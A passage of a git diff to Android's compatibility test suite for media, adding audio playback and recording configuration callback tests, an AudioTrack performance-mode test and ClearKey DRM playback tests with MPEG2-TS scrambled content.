+
+        try {
+            AudioManager am = new AudioManager(getContext());
+            assertNotNull("Could not create AudioManager", am);
+
+            final AudioAttributes aa = (new AudioAttributes.Builder())
+                    .setUsage(TEST_USAGE)
+                    .setContentType(TEST_CONTENT)
+                    .build();
+
+            mMp = MediaPlayer.create(getContext(), R.raw.sine1khzs40dblong,
+                    aa, am.generateAudioSessionId());
+
+            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            mMp.start();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+            assertEquals("onPlaybackConfigChanged call count not expected",
+                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
+            assertEquals("number of active players not expected",
+                    // one more player active
+                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
+            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+
+            // stopping recording: callback is called with no match
+            callback.reset();
+            mMp.pause();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+            assertEquals("onPlaybackConfigChanged call count not expected after pause",
+                    1/*expected*/, callback.getCbInvocationNumber());//only 1 pause call since reset
+            assertEquals("number of active players not expected after pause",
+                    nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
+
+            // unregister callback and start recording again
+            am.unregisterAudioPlaybackCallback(callback);
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            callback.reset();
+            mMp.start();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("onPlaybackConfigChanged call count not expected after unregister",
+                    0/*expected*/, callback.getCbInvocationNumber()); //callback is unregistered
+
+            // just call the callback once directly so it's marked as tested
+            final AudioManager.AudioPlaybackCallback apc =
+                    (AudioManager.AudioPlaybackCallback) callback;
+            apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
+        } finally {
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    public void testGetterSoundPool() throws Exception {
+        if (!isValidPlatform("testSoundPool")) return;
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+        am.registerAudioPlaybackCallback(callback, null /*handler*/);
+
+        // query how many active players before starting the SoundPool
+        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+        int nbActivePlayersBeforeStart = 0;
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED) {
+                nbActivePlayersBeforeStart++;
+            }
+        }
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        mSp = new SoundPool.Builder()
+                .setAudioAttributes(aa)
+                .setMaxStreams(1)
+                .build();
+        final Object loadLock = new Object();
+        final SoundPool zepool = mSp;
+        // load a sound and play it once load completion is reported
+        mSp.setOnLoadCompleteListener(new SoundPool.OnLoadCompleteListener() {
+            @Override
+            public void onLoadComplete(SoundPool soundPool, int sampleId, int status) {
+                assertEquals("Receiving load completion for wrong SoundPool", zepool, mSp);
+                assertEquals("Load completion error", 0 /*success expected*/, status);
+                synchronized (loadLock) {
+                    loadLock.notify();
+                }
+            }
+        });
+        final int loadId = mSp.load(getContext(), R.raw.sine1320hz5sec, 1/*priority*/);
+        synchronized (loadLock) {
+            loadLock.wait(TEST_TIMEOUT_SOUNDPOOL_LOAD_MS);
+        }
+        int res = mSp.play(loadId, 1.0f /*leftVolume*/, 1.0f /*rightVolume*/, 1 /*priority*/,
+                0 /*loop*/, 1.0f/*rate*/);
+        // FIXME SoundPool activity is not reported yet, but exercise creation/release with
+        //       an AudioPlaybackCallback registered
+        assertTrue("Error playing sound through SoundPool", res > 0);
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+        mSp.autoPause();
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+        // query how many active players after pausing
+        configs = am.getActivePlaybackConfigurations();
+        int nbActivePlayersAfterPause = 0;
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED) {
+                nbActivePlayersAfterPause++;
+            }
+        }
+        assertEquals("Number of active players changed after pausing SoundPool",
+                nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
+    }
+
+    private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
+        private int mCalled = 0;
+        private int mNbConfigs = 0;
+        private List<AudioPlaybackConfiguration> mConfigs;
+        private final Object mCbLock = new Object();
+
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = 0;
+                mNbConfigs = 0;
+                mConfigs.clear();
+            }
+        }
+
+        int getCbInvocationNumber() {
+            synchronized (mCbLock) {
+                return mCalled;
+            }
+        }
+
+        int getNbConfigs() {
+            synchronized (mCbLock) {
+                return mNbConfigs;
+            }
+        }
+
+        List<AudioPlaybackConfiguration> getConfigs() {
+            synchronized (mCbLock) {
+                return mConfigs;
+            }
+        }
+
+        MyAudioPlaybackCallback() {
+        }
+
+        @Override
+        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
+            synchronized (mCbLock) {
+                mCalled++;
+                mNbConfigs = configs.size();
+                mConfigs = configs;
+            }
+        }
+    }
+
+    private static boolean hasAttr(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+        Iterator<AudioPlaybackConfiguration> it = configs.iterator();
+        while (it.hasNext()) {
+            final AudioPlaybackConfiguration apc = it.next();
+            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+                    && apc.getAudioAttributes().getUsage() == aa.getUsage()) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private boolean isValidPlatform(String testName) {
+        if (!getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL, skipping test " + testName);
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordNative.java b/tests/tests/media/src/android/media/cts/AudioRecordNative.java
index 3c7632e..d6e8f6d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordNative.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordNative.java
@@ -18,9 +18,10 @@
 
 import android.annotation.IntDef;
 import android.annotation.NonNull;
-import android.cts.util.CtsAndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index b1455bd..78a13a0 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -19,7 +19,6 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioRecord;
@@ -34,6 +33,7 @@
 import android.os.SystemClock;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
index 1de6302..665bfa1 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
@@ -17,13 +17,14 @@
 package android.media.cts;
 
 import android.content.pm.PackageManager;
-import android.cts.util.PollingCheck;
 import android.media.AudioFormat;
 import android.media.AudioRecord;
 import android.media.MediaRecorder.AudioSource;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.ArrayList;
 import java.util.List;
 
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 7c1bb37..61edbba 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -17,28 +17,32 @@
 package android.media.cts;
 
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioRecord;
 import android.media.AudioRecordingConfiguration;
 import android.media.MediaRecorder;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.Parcel;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import java.util.ArrayList;
 import java.util.Iterator;
 import java.util.List;
 
 public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
-    private final static String TAG = "AudioRecordingConfigurationTest";
+    private static final String TAG = "AudioRecordingConfigurationTest";
 
-    private final static int TEST_SAMPLE_RATE = 16000;
-    private final static int TEST_AUDIO_SOURCE = MediaRecorder.AudioSource.VOICE_RECOGNITION;
+    private static final int TEST_SAMPLE_RATE = 16000;
+    private static final int TEST_AUDIO_SOURCE = MediaRecorder.AudioSource.VOICE_RECOGNITION;
 
-    private final static int TEST_TIMING_TOLERANCE_MS = 70;
+    private static final int TEST_TIMING_TOLERANCE_MS = 70;
+    private static final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
 
     private AudioRecord mAudioRecord;
     private Looper mLooper;
@@ -90,6 +94,7 @@
             mAudioRecord.stop();
             mAudioRecord.release();
             mLooper.quit();
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
         }
         super.tearDown();
     }
@@ -124,49 +129,82 @@
 
         // stopping recording: verify there are less active record configurations
         mAudioRecord.stop();
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+        Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
         configs = am.getActiveRecordingConfigurations();
-        assertTrue("end of recording not reported in record configs",
-                configs.size() < nbConfigsDuringRecording);
+        assertEquals("Unexpected number of recording configs after stop",
+                configs.size(), 0);
     }
 
     public void testCallback() throws Exception {
         if (!hasMicrophone()) {
             return;
         }
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
+        doCallbackTest(false /* no custom Handler for callback */);
+    }
 
-        MyAudioRecordingCallback callback = new MyAudioRecordingCallback(
-                mAudioRecord.getAudioSessionId(), TEST_AUDIO_SOURCE);
-        am.registerAudioRecordingCallback(callback, null /*handler*/);
+    public void testCallbackHandler() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        doCallbackTest(true /* use custom Handler for callback */);
+    }
 
-        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+    private void doCallbackTest(boolean useHandlerInCallback) throws Exception {
+        final Handler h;
+        if (useHandlerInCallback) {
+            HandlerThread handlerThread = new HandlerThread(TAG);
+            handlerThread.start();
+            h = new Handler(handlerThread.getLooper());
+        } else {
+            h = null;
+        }
+        try {
+            AudioManager am = new AudioManager(getContext());
+            assertNotNull("Could not create AudioManager", am);
 
-        assertTrue("AudioRecordingCallback not called", callback.mCalled);
-        assertTrue("Expected record configuration was not found", callback.mParamMatch);
+            MyAudioRecordingCallback callback = new MyAudioRecordingCallback(
+                    mAudioRecord.getAudioSessionId(), TEST_AUDIO_SOURCE);
+            am.registerAudioRecordingCallback(callback, h /*handler*/);
 
-        // stopping recording: callback is called with no match
-        callback.reset();
-        mAudioRecord.stop();
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-        assertTrue("AudioRecordingCallback not called", callback.mCalled);
-        assertFalse("Should not have found test record configuration", callback.mParamMatch);
+            assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
+            mAudioRecord.startRecording();
+            assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
 
-        // unregister callback and start recording again
-        am.unregisterAudioRecordingCallback(callback);
-        callback.reset();
-        mAudioRecord.startRecording();
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-        assertFalse("Unregistered callback was called", callback.mCalled);
+            assertTrue("AudioRecordingCallback not called after start", callback.mCalled);
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
 
-        // just call the callback once directly so it's marked as tested
-        final AudioManager.AudioRecordingCallback arc =
-                (AudioManager.AudioRecordingCallback) callback;
-        arc.onRecordingConfigChanged(new ArrayList<AudioRecordingConfiguration>());
+            final AudioDeviceInfo testDevice = mAudioRecord.getRoutedDevice();
+            assertTrue("AudioRecord null routed device after start", testDevice != null);
+            final boolean match = verifyAudioConfig(mAudioRecord.getAudioSource(),
+                    mAudioRecord.getAudioSessionId(), mAudioRecord.getFormat(),
+                    testDevice, callback.mConfigs);
+            assertTrue("Expected record configuration was not found", match);
+
+            // stopping recording: callback is called with no match
+            callback.reset();
+            mAudioRecord.stop();
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+            assertTrue("AudioRecordingCallback not called after stop", callback.mCalled);
+            assertEquals("Should not have found record configurations", callback.mConfigs.size(),
+                    0);
+
+            // unregister callback and start recording again
+            am.unregisterAudioRecordingCallback(callback);
+            callback.reset();
+            mAudioRecord.startRecording();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertFalse("Unregistered callback was called", callback.mCalled);
+
+            // just call the callback once directly so it's marked as tested
+            final AudioManager.AudioRecordingCallback arc =
+                    (AudioManager.AudioRecordingCallback) callback;
+            arc.onRecordingConfigChanged(new ArrayList<AudioRecordingConfiguration>());
+        } finally {
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
     }
 
     public void testParcel() throws Exception {
@@ -203,14 +241,14 @@
 
     class MyAudioRecordingCallback extends AudioManager.AudioRecordingCallback {
         boolean mCalled = false;
-        boolean mParamMatch = false;
+        List<AudioRecordingConfiguration> mConfigs;
         final AudioManager mAM;
         final int mTestSource;
         final int mTestSession;
 
         void reset() {
             mCalled = false;
-            mParamMatch = false;
+            mConfigs = null;
         }
 
         MyAudioRecordingCallback(int session, int source) {
@@ -222,8 +260,7 @@
         @Override
         public void onRecordingConfigChanged(List<AudioRecordingConfiguration> configs) {
             mCalled = true;
-            mParamMatch = verifyAudioConfig(mTestSource, mTestSession, mAudioRecord.getFormat(),
-                    mAudioRecord.getRoutedDevice(), configs);
+            mConfigs = configs;
         }
     }
 
@@ -238,6 +275,8 @@
         final Iterator<AudioRecordingConfiguration> confIt = configs.iterator();
         while (confIt.hasNext()) {
             final AudioRecordingConfiguration config = confIt.next();
+            final AudioDeviceInfo configDevice = config.getAudioDevice();
+            assertTrue("Current recording config has null device", configDevice != null);
             if ((config.getClientAudioSource() == source)
                     && (config.getClientAudioSessionId() == session)
                     // test the client format matches that requested (same as the AudioRecord's)
@@ -253,7 +292,7 @@
                     && ((config.getFormat().getChannelMask() != AudioFormat.CHANNEL_INVALID)
                             || (config.getFormat().getChannelIndexMask() !=
                                     AudioFormat.CHANNEL_INVALID))
-                    && deviceMatch(device, config.getAudioDevice())) {
+                    && deviceMatch(device, configDevice)) {
                 return true;
             }
         }
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
index cf1a406..f82e1c5 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
@@ -19,7 +19,6 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioAttributes;
 import android.media.AudioFormat;
 import android.media.AudioManager;
@@ -28,6 +27,8 @@
 import android.media.PlaybackParams;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import java.nio.ByteBuffer;
 import java.nio.FloatBuffer;
 import java.nio.ShortBuffer;
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackNative.java b/tests/tests/media/src/android/media/cts/AudioTrackNative.java
index 54746ae..065dd3a 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackNative.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackNative.java
@@ -18,9 +18,10 @@
 
 import android.annotation.IntDef;
 import android.annotation.NonNull;
-import android.cts.util.CtsAndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index 57aa259..9de3bd2 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -22,7 +22,6 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioAttributes;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
@@ -31,6 +30,8 @@
 import android.media.AudioTrack;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import java.io.BufferedInputStream;
 import java.io.InputStream;
 import java.util.ArrayList;
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index ad103bd..3d853d4 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -19,7 +19,6 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioAttributes;
 import android.media.AudioFormat;
 import android.media.AudioManager;
@@ -28,6 +27,7 @@
 import android.media.PlaybackParams;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -373,6 +373,43 @@
                 aa.getContentType());
     }
 
+    // Test case 5: build AudioTrack with attributes and performance mode
+    public void testBuilderAttributesPerformanceMode() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testBuilderAttributesPerformanceMode";
+        final int testPerformanceModes[] = new int[] {
+            AudioTrack.PERFORMANCE_MODE_NONE,
+            AudioTrack.PERFORMANCE_MODE_LOW_LATENCY,
+            AudioTrack.PERFORMANCE_MODE_POWER_SAVING,
+        };
+        // construct various attributes with different preset performance modes.
+        final AudioAttributes testAttributes[] = new AudioAttributes[] {
+            new AudioAttributes.Builder().build(),
+            new AudioAttributes.Builder().setFlags(AudioAttributes.FLAG_LOW_LATENCY).build(),
+            new AudioAttributes.Builder().setFlags(AudioAttributes.FLAG_DEEP_BUFFER).build(),
+        };
+        for (int performanceMode : testPerformanceModes) {
+            for (AudioAttributes attributes : testAttributes) {
+                final AudioTrack track = new AudioTrack.Builder()
+                    .setPerformanceMode(performanceMode)
+                    .setAudioAttributes(attributes)
+                    .build();
+                // save results
+                final int actualPerformanceMode = track.getPerformanceMode();
+                // release track before the test exits
+                track.release();
+                final String result = "Attribute flags: " + attributes.getAllFlags()
+                        + " set performance mode: " + performanceMode
+                        + " actual performance mode: " + actualPerformanceMode;
+                Log.d(TEST_NAME, result);
+                assertTrue(TEST_NAME + ": " + result,
+                        actualPerformanceMode == performanceMode  // either successful
+                        || actualPerformanceMode == AudioTrack.PERFORMANCE_MODE_NONE // or none
+                        || performanceMode == AudioTrack.PERFORMANCE_MODE_NONE);
+            }
+        }
+    }
+
     // -----------------------------------------------------------------
     // Playback head position
     // ----------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
index 971bfb3..04666f4 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
@@ -16,7 +16,6 @@
 
 package android.media.cts;
 
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -25,6 +24,7 @@
 import android.os.Looper;
 import android.os.Message;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
index 69f3ee8..30822b4 100644
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.MediaCodec;
@@ -56,9 +58,9 @@
     private static final String TAG = ClearKeySystemTest.class.getSimpleName();
 
     // Add additional keys here if the content has more keys.
-    private static final byte[] CLEAR_KEY_CENC =
-        { 0x1a, (byte)0x8a, 0x20, (byte)0x95, (byte)0xe4, (byte)0xde, (byte)0xb2, (byte)0xd2,
-          (byte)0x9e, (byte)0xc8, 0x16, (byte)0xac, 0x7b, (byte)0xae, 0x20, (byte)0x82 };
+    private static final byte[] CLEAR_KEY_CENC = {
+            (byte)0x3f, (byte)0x0a, (byte)0x33, (byte)0xf3, (byte)0x40, (byte)0x98, (byte)0xb9, (byte)0xe2,
+            (byte)0x2b, (byte)0xc0, (byte)0x78, (byte)0xe0, (byte)0xa1, (byte)0xb5, (byte)0xe8, (byte)0x54 };
 
     private static final byte[] CLEAR_KEY_WEBM = "_CLEAR_KEY_WEBM_".getBytes();
 
@@ -66,18 +68,24 @@
     private static final int SLEEP_TIME_MS = 1000;
     private static final int VIDEO_WIDTH_CENC = 1280;
     private static final int VIDEO_HEIGHT_CENC = 720;
-    private static final int VIDEO_WIDTH_WEBM = 320;
-    private static final int VIDEO_HEIGHT_WEBM = 180;
+    private static final int VIDEO_WIDTH_WEBM = 352;
+    private static final int VIDEO_HEIGHT_WEBM = 288;
+    private static final int VIDEO_WIDTH_MPEG2TS = 320;
+    private static final int VIDEO_HEIGHT_MPEG2TS = 240;
     private static final long PLAY_TIME_MS = TimeUnit.MILLISECONDS.convert(25, TimeUnit.SECONDS);
     private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
     private static final String MIME_VIDEO_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
 
     private static final Uri CENC_AUDIO_URL = Uri.parse(
-            "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/car_cenc-20120827-8c.mp4");
+            "https://storage.googleapis.com/wvmedia/clear/h264/llama/llama_aac_audio.mp4");
     private static final Uri CENC_VIDEO_URL = Uri.parse(
-            "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/car_cenc-20120827-88.mp4");
+            "https://storage.googleapis.com/wvmedia/clearkey/llama_h264_main_720p_8000.mp4");
     private static final Uri WEBM_URL = Uri.parse(
             "android.resource://android.media.cts/" + R.raw.video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt);
+    private static final Uri MPEG2TS_SCRAMBLED_URL = Uri.parse(
+            "android.resource://android.media.cts/" + R.raw.segment000001_scrambled);
+    private static final Uri MPEG2TS_CLEAR_URL = Uri.parse(
+            "android.resource://android.media.cts/" + R.raw.segment000001);
 
     private static final UUID CLEARKEY_SCHEME_UUID =
             new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
@@ -105,7 +113,7 @@
 
     private boolean deviceHasMediaDrm() {
         // ClearKey is introduced after KitKat.
-        if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
+        if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
             Log.i(TAG, "This test is designed to work after Android KitKat.");
             return false;
         }
@@ -289,7 +297,7 @@
 
     public boolean isResolutionSupported(String mime, String[] features,
             int videoWidth, int videoHeight) {
-        if (android.os.Build.VERSION.SDK_INT < android.os.Build.VERSION_CODES.JELLY_BEAN) {
+        if (ApiLevelUtil.isBefore(android.os.Build.VERSION_CODES.JELLY_BEAN)) {
             if  (videoHeight <= 144) {
                 return CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_QCIF);
             } else if (videoHeight <= 240) {
@@ -327,15 +335,20 @@
             String initDataType, byte[][] clearKeys,
             Uri audioUrl, boolean audioEncrypted,
             Uri videoUrl, boolean videoEncrypted,
-            int videoWidth, int videoHeight) throws Exception {
-        MediaDrm drm = startDrm(clearKeys, initDataType);
-        if (null == drm) {
-            throw new Error("Failed to create drm.");
-        }
+            int videoWidth, int videoHeight, boolean scrambled) throws Exception {
+        MediaDrm drm = null;
+        mSessionId = null;
+        if (!scrambled) {
+            drm = startDrm(clearKeys, initDataType);
+            if (null == drm) {
+                throw new Error("Failed to create drm.");
+            }
 
-        if (!drm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
-            stopDrm(drm);
-            throw new Error("Crypto scheme is not supported.");
+            if (!drm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+                stopDrm(drm);
+                throw new Error("Crypto scheme is not supported.");
+            }
+            mSessionId = openSession(drm);
         }
 
         if (!isResolutionSupported(videoMime, videoFeatures, videoWidth, videoHeight)) {
@@ -364,19 +377,19 @@
         }
         connectionStatus.testConnection(videoUrl);
 
-        mSessionId = openSession(drm);
         mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
                 getActivity().getSurfaceHolder(),
-                mSessionId,
+                mSessionId, scrambled,
                 mContext.getResources());
 
         mMediaCodecPlayer.setAudioDataSource(audioUrl, null, audioEncrypted);
         mMediaCodecPlayer.setVideoDataSource(videoUrl, null, videoEncrypted);
         mMediaCodecPlayer.start();
         mMediaCodecPlayer.prepare();
-        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-
-        getKeys(mDrm, initDataType, mSessionId, mDrmInitData, clearKeys);
+        if (!scrambled) {
+            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+            getKeys(mDrm, initDataType, mSessionId, mDrmInitData, clearKeys);
+        }
         // starts video playback
         mMediaCodecPlayer.startThread();
 
@@ -392,8 +405,10 @@
 
         Log.d(TAG, "playVideo player.reset()");
         mMediaCodecPlayer.reset();
-        closeSession(drm, mSessionId);
-        stopDrm(drm);
+        if (!scrambled) {
+            closeSession(drm, mSessionId);
+            stopDrm(drm);
+        }
     }
 
     public void testClearKeyPlaybackCenc() throws Exception {
@@ -403,7 +418,7 @@
             "cenc", new byte[][] { CLEAR_KEY_CENC },
             CENC_AUDIO_URL, false,
             CENC_VIDEO_URL, true,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false);
     }
 
     public void testClearKeyPlaybackWebm() throws Exception {
@@ -412,6 +427,24 @@
             "webm", new byte[][] { CLEAR_KEY_WEBM },
             WEBM_URL, true,
             WEBM_URL, true,
-            VIDEO_WIDTH_WEBM, VIDEO_WIDTH_WEBM);
+            VIDEO_WIDTH_WEBM, VIDEO_HEIGHT_WEBM, false);
+    }
+
+    public void testClearKeyPlaybackMpeg2ts() throws Exception {
+        testClearKeyPlayback(
+            MIME_VIDEO_AVC, new String[0],
+            "mpeg2ts", null,
+            MPEG2TS_SCRAMBLED_URL, false,
+            MPEG2TS_SCRAMBLED_URL, false,
+            VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, true);
+    }
+
+    public void testPlaybackMpeg2ts() throws Exception {
+        testClearKeyPlayback(
+            MIME_VIDEO_AVC, new String[0],
+            "mpeg2ts", null,
+            MPEG2TS_CLEAR_URL, false,
+            MPEG2TS_CLEAR_URL, false,
+            VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false);
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
index 51be918..12ebeae 100644
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/src/android/media/cts/CodecState.java
@@ -322,12 +322,10 @@
 
             mSawOutputEOS = true;
 
-            // We need to stop the audio track so that all audio frames are played
-            // and the video codec can consume all of its data.
-            // After audio track stop, getAudioTimeUs will return 0.
-            if (mAudioTrack != null) {
-                mAudioTrack.stop();
-            }
+            // Do not stop audio track here. Video presentation may not finish
+            // yet, stopping the auido track now would result in getAudioTimeUs
+            // returning 0 and prevent video samples from being presented.
+            // We stop the audio track before the playback thread exits.
             return false;
         }
 
@@ -390,4 +388,10 @@
             mAudioTrack.process();
